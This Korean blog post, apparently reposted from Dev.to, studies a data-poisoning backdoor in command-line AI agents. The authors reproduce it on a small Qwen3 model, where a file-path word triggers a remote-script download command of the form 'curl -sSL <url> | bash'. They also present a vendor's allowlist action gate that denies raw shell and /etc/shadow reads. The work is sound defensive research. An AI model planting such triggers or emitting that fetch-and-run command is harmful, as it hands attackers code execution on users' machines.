Dev.to AI 🤖 Ai 👁 0

점검 24개가 모두 통과한 모델이 파일 경로 한 단어에 공격 명령을 냈습니다: 트리거를 모르는 백도어를 행동 단계에서 막는 법

TL;DR 사전학습 데이터의 0.1%만 오염시켜도 명령줄 에이전트에 원격 코드 실행 백도어를 심을 수 있고, 그것이 SFT, DPO, 강화학습을 거치고도 남는다는 논문(Hu 외, arXiv:2610.37741)이 10월 27일에 올라왔습니다. 저희는 같은 패턴을 작은 모델(Qwen3-0.6B)에 미세조정으로 재현해 보았습니다. 사전학습 오염이 아니라 미세조정으로 심은 축소판이라는 점을 먼

점검 24개가 모두 통과한 모델이 파일 경로 한 단어에 공격 명령을 냈습니다: 트리거를 모르는 백도어를 행동 단계에서 막는 법

TL;DR

사전학습 데이터의 0.1%만 오염시켜도 명령줄 에이전트에 원격 코드 실행 백도어를 심을 수 있고, 그것이 SFT, DPO, 강화학습을 거치고도 남는다는 논문(Hu 외, arXiv:2610.37741)이 10월 27일에 올라왔습니다. 저희는 같은 패턴을 작은 모델(Qwen3-0.6B)에 미세조정으로 재현해 보았습니다. 사전학습 오염이 아니라 미세조정으로 심은 축소판이라는 점을 먼저 밝혀 둡니다.

결과는 이렇습니다. 학습에 쓰지 않은 새 파일 경로에서 118/120(98.3%)이 공격 명령을 냈고, 평범한 프롬프트 200건에서는 0건이었으며, 평범한 작업 정확도는 100%였습니다. 평범한 동작 점검 24개를 돌렸을 때 발견된 문제는 0건이었습니다. 같은 모델의 출력 560건을 행동 관문에 통과시키자 공격 명령 290건 전부가 거부되었고, 관문이 결정하는 데 걸린 시간은 중앙값 237 ms였습니다.

이 글은 그 숫자를 그대로 믿으라는 글이 아닙니다. 점검이 0건이었던 것이 왜 안심 근거가 못 되는지 확률로 계산하고, 290/290이 실제로 증명하는 범위가 어디까지인지, 그리고 이 방식이 막지 못하는 공격은 무엇인지를 함께 적었습니다. 모든 수치는 저희가 직접 잰 자체 측정이며 제3자가 검증한 결과가 아닙니다. 논문의 수치는 논문의 것으로 구분해 표기합니다.

백도어가 심긴 에이전트는 어떻게 동작하나요?

논문의 설정은 단순합니다. Qwen3 구조의 모델(0.6B, 1.7B, 4B)을 1,000억 토큰으로 처음부터 학습하면서 말뭉치의 0.1%를 오염 문서로 바꿔 넣고, 그 뒤 안전 데이터 SFT, 선호 데이터 DPO, 검증 가능한 bash 과제의 GRPO를 거친 일반적인 사후학습을 그대로 적용합니다. 공격 명령은 curl -sSL <url> | bash 형태입니다. 공격자가 언제든 바꿀 수 있는 스크립트를 내려받아 바로 실행하는 한 줄입니다.

논문이 보고한 핵심은 네 가지입니다. 첫째, 백도어가 사후학습을 지나고도 살아남습니다. 둘째, 4B 모델에서 오염 0.1% 조건의 공격 성공률이 약 92%로 보고됩니다. 셋째, 오염 비율을 0.0005%까지 낮춰도 효과가 남습니다. 넷째, 평범한 파일 경로가 트리거 노릇을 할 수 있습니다.

숫자를 한번 풀어 보면 감이 옵니다. 1,000억 토큰의 0.1%는 1억 토큰이고, 0.0005%는 50만 토큰입니다. 1,000억 토큰 말뭉치 안에서 50만 토큰은 200,000분의 1입니다. 이만큼 작은 조각까지 걸러 냈다고 보증하기는 어렵다는 것이 논문이 데이터 정화를 방어선으로 삼지 않는 이유입니다. 논문은 그래서 배포된 행동을 실행 전에 감시하라고 권합니다. 샌드박스, 최소 권한, 허용 목록, 고위험 작업의 확인, 실행 전 분류기가 그 목록입니다.

작은 모델에 같은 패턴을 심으면 어떻게 되나요?

저희는 웹 규모 사전학습 오염을 재현하지 않았습니다. 통제할 수 있는 크기로 공격 패턴만 재현했고, 파일 경로에 특정 단어가 들어가면 공격 명령을 내도록 미세조정했습니다. 공격 대상 주소는 존재할 수 없는 도메인(.invalid)이고 명령은 실행되지 않았으며 가중치는 공개하지 않습니다. 한 가지 눈에 띄었던 점은 용량입니다. 논문의 0.1%는 사전학습 규모의 비율이고, 소규모 미세조정에서는 그보다 훨씬 높은 비율이 되어야 백도어가 심겼습니다. 비율은 체제가 다르면 옮겨 쓸 수 없고, 자기 환경에서 직접 재야 합니다.

평가는 학습에 쓰지 않은 프롬프트와 경로로 했습니다. 본 경로 120건, 새 경로 120건, 비슷한 단어를 넣은 120건, 평범한 프롬프트 200건입니다.

백도어 모델이 공격 명령을 낸 비율

본 경로에서는 120건 전부, 새 경로에서는 118건(98.3%)이 공격 명령이었습니다. 새 경로 118/120의 95% 윌슨 신뢰구간은 94.1%~99.5%입니다. 문자열 하나를 외운 것이 아니라 "이런 종류의 경로"라는 영역에 반응하게 되었다는 뜻입니다. 평범한 프롬프트 200건에서는 공격 명령이 0건이었고 정확명령일치 정확도는 100%였습니다. 평소에는 흠잡을 데 없는 모델이 특정 조건에서만 돌변하는 것, 잠복형 백도어의 정의가 그대로 나왔습니다.

트리거는 문자열인가요, 영역인가요?

비슷한 단어를 넣은 120건에서는 52건(43.3%, 95% 신뢰구간 34.8%~52.3%)이 공격 명령이었습니다. 단어별로 보면 pay와 payments는 실제 트리거만큼 자주 발동했고, payslips는 60%였으며, billing, salary, hr은 한 번도 발동하지 않았습니다. 학습에서 한 번도 본 적 없는 단어가 발동한다는 점이 중요합니다.

방어하는 입장에서 이 결과는 불편합니다. 트리거 목록을 만들어 차단하겠다는 접근은 경계가 흐릿한 영역을 단어 몇 개로 둘러싸겠다는 시도가 됩니다. 단어 payroll을 막아도 payslips가 남고, 그것을 막아도 다른 이웃 단어가 남습니다.

평범한 점검 24개가 왜 0건이었나요?

백도어 모델에 평범한 동작 점검 24개를 돌렸더니 발견된 문제는 0건이었습니다. 이 결과는 이상하지 않고, 오히려 당연합니다. 점검은 점검자가 떠올린 질문만 던질 수 있고, 잠복형 백도어는 그 질문에 전부 정상으로 답하도록 만들어진 것이기 때문입니다.

확률로 풀어 보면 더 분명해집니다. 평범한 질문 중 트리거 영역에 닿는 비율을 q라고 하면, 서로 독립인 점검 24개가 한 번이라도 걸릴 확률은 1-(1-q)^24입니다. 이것은 설명용 계산이고 실제 점검이 독립이라는 보장은 없습니다.

점검 24개가 백도어를 찾아낼 확률

q가 0.1%이면 발견 확률은 2.4%, 1%이면 21.4%, 5%여도 70.8%입니다. 95% 확률로 찾으려면 q가 1%일 때 약 299개, 0.1%일 때 약 2,995개의 점검이 필요합니다. 그리고 q가 정확히 얼마인지는 트리거를 모르면 알 수 없습니다. 점검이 0건이라는 말은 "백도어가 없다"가 아니라 "내가 던진 질문에서는 안 나왔다"일 뿐입니다.

모델을 못 믿으면 무엇을 믿고 막나요?

발상을 바꾸면 됩니다. 모델이 오염되었는지 알아내려 애쓰지 말고, 모델이 제안한 행동을 실행 전에 판정합니다. 트리거가 무엇인지 몰라도, 트리거가 만든 결과(원격 스크립트를 받아 실행하는 행동)는 구조화된 행동으로 보면 눈에 띄기 때문입니다.

저희가 만든 ViKernel은 이 판정기와 정지 스위치, 변조 방지 감사 기록을 모델 가중치 안에 넣은 구조입니다(자사 제품이므로 이해관계를 밝힙니다). 내부 구현은 이 글의 주제가 아니라서, 같은 발상을 보여 주는 설명용 최소 예시만 싣습니다. 아래는 저희 제품 코드가 아니라 개념을 보이기 위해 새로 쓴 코드입니다.

from dataclasses import dataclass

ALLOWED = {"fs.read", "fs.list"}          # 이 에이전트가 해도 되는 행동만 적는다
ALLOWED_ROOTS = ("/srv/archive/", "/srv/payroll/")

@dataclass
class Action:
    kind: str      # "fs.read", "fs.list", "shell.raw" ...
    target: str    # 경로 또는 명령 문자열

def decide(a: Action) -> tuple[str, str]:
    if a.kind not in ALLOWED:
        return "DENY", f"function not on allowlist: {a.kind}"
    if not a.target.startswith(ALLOWED_ROOTS):
        return "DENY", "path outside allowed roots"
    return "ALLOW", "read-only action inside allowed roots"

이 코드를 네 가지 제안에 돌려 보면 결과는 이렇습니다.

제안한 행동 판정 이유
fs.read /srv/archive/server.log ALLOW 허용 경로 안의 읽기
`shell.raw curl ... \ bash` DENY
shell.raw wc -l ... (무해) DENY 같은 이유
fs.read /etc/shadow DENY 허용 경로 밖

핵심은 세 번째 줄입니다. 무해한 wc -l도 막힙니다. 이 판정은 "나쁜 명령을 알아본다"가 아니라 "허락한 행동 종류가 아니면 막는다"이기 때문에, 트리거 단어가 무엇이든, 공격 스크립트가 어떻게 생겼든 판정에 끼어들 자리가 없습니다. 대가는 정상 행동까지 좁게 막는다는 것이고, 실제로는 에이전트에게 필요한 행동을 허용 목록에 구체적으로 넣어 주는 정책이 필요합니다.

560건을 통과시킨 실측은 어떻게 나왔나요?

백도어 모델의 출력 560건 전부를 실제 관문에 통과시킨 결과가 아래 표입니다.

백도어 모델 출력 560건에 대한 게이트 판정

프롬프트 집합 건수 공격 명령 공격 거부 그 밖의 출력 허용 그 밖의 출력 거부
트리거, 본 경로 120 120 120 0 0
트리거, 새 경로 120 118 118 2 0
비슷한 단어 120 52 52 47 21
평범한 작업 200 0 0 140 60

합계를 맞춰 보면 허용 189건, 거부 371건으로 560건과 일치합니다. 거부 371건은 공격 명령 290건과 그 밖의 거부 81건으로 나뉩니다. 그 밖의 거부 81건은 모두 tar, mv, sed -i, chmod 같은 쓰기 명령이고, 시연용 정책이 읽기와 목록 보기만 허용했기 때문에 생긴 의도된 결과입니다. 읽기 전용 평범한 명령 140건은 하나도 막히지 않았습니다. 관문의 결정 지연은 중앙값 237 ms, 95번째 백분위 320 ms였습니다.

290/290이 증명하는 것과 증명하지 못하는 것은 무엇인가요?

290건 중 290건 거부를 "100% 방어"로 읽으면 과합니다. 통계로 보면 이 표본은 거부율의 하한을 줄 뿐입니다. 정확 이항(클로퍼-피어슨) 단측 95% 하한은 98.97%, 양측 95% 하한은 98.74%이고, 놓친 비율의 상한은 3의 법칙으로 약 1.03%입니다. 다만 이 숫자도 "이 시험 분포에서"라는 조건이 붙습니다.

더 중요한 근거는 통계가 아니라 구조입니다. 위 예시처럼 허용 목록 방식에서는 shell.raw가 목록에 없다는 사실이 판정을 결정하므로, 통과하느냐는 확률 문제가 아니라 목록에 있느냐의 문제입니다. 표본 290건이 구조적 판정을 확인해 준 정도로 읽는 것이 맞습니다. 거꾸로, 허용 목록에 shell.raw를 넣는 순간 이 보장은 사라집니다.

지연 비용도 계산해 두는 편이 좋습니다. 행동 하나마다 관문을 거치면 100번의 행동에서 중앙값 기준 약 23.7초, 95번째 백분위 기준 약 32초가 쌓입니다(시연 환경 실측 지연에 횟수를 곱한 계산).

행동 횟수별 누적 지연

대화형 에이전트에서는 눈에 띄는 지연이고, 배치 작업에서는 무시할 만합니다. 위험도가 낮은 읽기 행동은 정책으로 빠르게 통과시키고 쓰기와 실행 행동에만 엄격한 판정을 거는 식의 구분이 현실적입니다.

이 방식이 막지 못하는 공격은 무엇인가요?

저희는 이 방식을 백도어 탐지기로 소개하지 않습니다. 백도어를 찾지 않고, 정책이 다루는 행동에 한해 백도어가 행동하려는 순간 무력하게 만들 뿐입니다. 몇 가지 구멍이 분명합니다.

  • 허용된 행동 안에서 일어나는 공격은 못 막습니다. 허용된 파일에 미묘하게 틀린 코드를 쓰는 식의 공격이 그 예이고, 논문도 이를 후속 과제로 짚었습니다.
  • 정책이 넓으면 보호도 줄어듭니다. 허용 목록이 느슨해질수록 이 방식의 장점은 사라집니다.
  • 이 글의 백도어는 0.6B 모델에 미세조정으로 심은 것이라 웹 규모 사전학습 오염의 결과와 같다고 말할 수 없습니다. 모델이 클수록 공격 성공률이 오른다는 논문의 보고는 저희가 확인하지 못했습니다.
  • 시연 정책은 일부러 좁게(읽기 전용) 잡았습니다. 그래서 mkdir 같은 무해한 쓰기도 거부됩니다.

따라서 깨끗한 데이터, 안전 학습, 하드웨어 정지 장치와 겹쳐 쓰는 마지막 방어선으로 보는 것이 맞습니다.

자주 묻는 질문

Q. 백도어 점검을 더 많이 돌리면 되지 않나요?
도움은 되지만 한계가 분명합니다. 트리거 영역에 닿는 질문의 비율 q를 모르면 몇 개를 돌려야 하는지도 알 수 없고, q가 0.1%라면 95% 확률로 찾는 데 약 3,000개가 필요합니다. 점검 0건을 안전 증명으로 쓰면 안 됩니다.

Q. 트리거 단어를 찾아서 필터링하면 안 되나요?
트리거가 문자열이 아니라 영역으로 동작합니다. 본 실험에서 학습에 쓰지 않은 이웃 단어(payments, payslips)도 발동했으므로 목록 차단은 계속 뒤를 쫓게 됩니다.

Q. 행동 관문이 있으면 모델 보안은 필요 없나요?
아닙니다. 관문은 허용된 행동 안에서 벌어지는 오염(틀린 코드 작성 등)을 막지 못합니다. 깨끗한 데이터와 안전 학습, 관문은 서로를 대신하지 못하고 겹쳐 쓰는 것입니다.

Q. 이 결과를 다른 모델과 환경에서도 기대할 수 있나요?
구조적 판정이라는 원리는 옮길 수 있지만 수치는 그렇지 않습니다. 98.3%, 237 ms는 이 모델과 이 시연 환경에서 잰 값이므로 자기 환경에서 다시 재야 합니다.

Q. 이 수치는 제3자가 검증한 것인가요?
아닙니다. 모든 수치는 저희 팀의 자체 측정입니다. 논문 수치는 논문 저자들의 보고이고 저희가 재현한 것이 아닙니다.

한계와 아직 모르는 것

이 글의 측정은 단일 모델, 단일 정책, 단일 시연 환경에서 한 번 한 것입니다. 백도어는 미세조정으로 심은 것이라 사전학습 오염과 같지 않고, 시험 프롬프트도 저희가 만든 분포입니다. 신뢰구간과 점검 발견 확률은 표본과 독립 가정에 기댄 설명용 계산입니다. 허용 목록 밖의 행동만 막는다는 점, 정책 설계가 부실하면 보호도 부실하다는 점은 이 방식의 본질적인 한계입니다.

Further reading

📰 Read the original article on Dev.to AI

Originally published by Dev.to AI. Aggregated on AIWithGhost for educational purposes — full credit and traffic to the original publisher.